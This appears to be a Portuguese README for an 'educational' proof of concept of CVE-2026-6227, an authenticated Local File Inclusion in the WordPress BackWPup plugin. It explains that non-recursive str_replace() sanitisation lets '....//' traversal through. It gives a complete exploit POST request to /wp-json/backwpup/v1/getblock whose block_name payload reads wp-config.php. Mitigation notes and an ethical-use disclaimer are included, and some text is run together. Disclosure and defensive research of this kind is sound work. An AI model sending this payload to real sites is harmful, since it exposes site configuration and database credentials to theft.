
Prova de conceito educacional para CVE-2026-6227, uma Inclusão de Arquivo Local autenticada no plugin WordPress BackWPup, incluindo análise da causa raiz, requisição de exploração e orientações de mitigação.
As versões do BackWPup até e incluindo a 5.6.6 são afetadas por uma vulnerabilidade de Inclusão de Arquivo Local (LFI) autenticada por meio do parâmetro block_name do endpoint REST /wp-json/backwpup/v1/getblock.
A falha foi causada pela sanitização não recursiva de sequências de travessia com str_replace() e já foi corrigida na versão 5.6.7.
Este repositório é estritamente para fins educacionais e de pesquisa ética em segurança. As informações fornecidas aqui têm como objetivo ajudar administradores e equipes de segurança a verificar seus sistemas. Não use isto contra alvos sem permissão explícita e por escrito.
BackWPupHelpers::component()POST /wp-json/backwpup/v1/getblockblock_nameO carregador de componentes vulnerável aplica uma sanitização não recursiva com str_replace() antes de invocar include(). Isso pode ser contornado usando padrões de travessia elaborados, como ....// ou ..././, permitindo a resolução de caminhos controlada pelo atacante.
wp-config.php)Por padrão, a exploração requer acesso de nível administrador. Se as permissões de backup forem delegadas, usuários com privilégios menores também podem se tornar capazes de explorar este problema.
POST legítima para /wp-json/backwpup/v1/getblock.block_name por um payload de travessia.Exemplo de solicitação:
POST /wp-json/backwpup/v1/getblock HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-WP-Nonce: <your_nonce_here>
Cookie: wordpress_logged_in_<hash>=<your_session_cookie>
block_name=....//....//....//....//wp-config&block_type=component&block_data%5Btype%5D=success&block_data%5Bfont%5D=small&block_data%5Bdismiss_icon%5D=true&block_data%5Bcontent%5D=You+scheduled+a+new+backup+successfully!
backwpup apenas a funções confiáveis/wp-json/backwpup/v1/getblock